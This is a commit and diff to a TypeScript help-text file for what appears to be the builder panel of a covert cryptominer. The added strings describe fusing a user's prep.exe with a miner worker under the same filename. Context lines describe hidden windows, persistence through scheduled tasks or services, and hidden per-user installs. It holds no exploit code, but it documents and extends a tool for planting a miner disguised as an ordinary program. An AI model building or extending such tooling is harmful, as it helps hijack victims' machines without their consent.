Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

server/web/src/help/settingHelp.ts

@@ -47,6 +47,9 @@ export const FIELD_HELP: Record<string, string> = {
   run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
   silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
   auto_start: 'Same as Persistence. Keeps miner running after reboot.',
+  fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
+  fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
+  fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',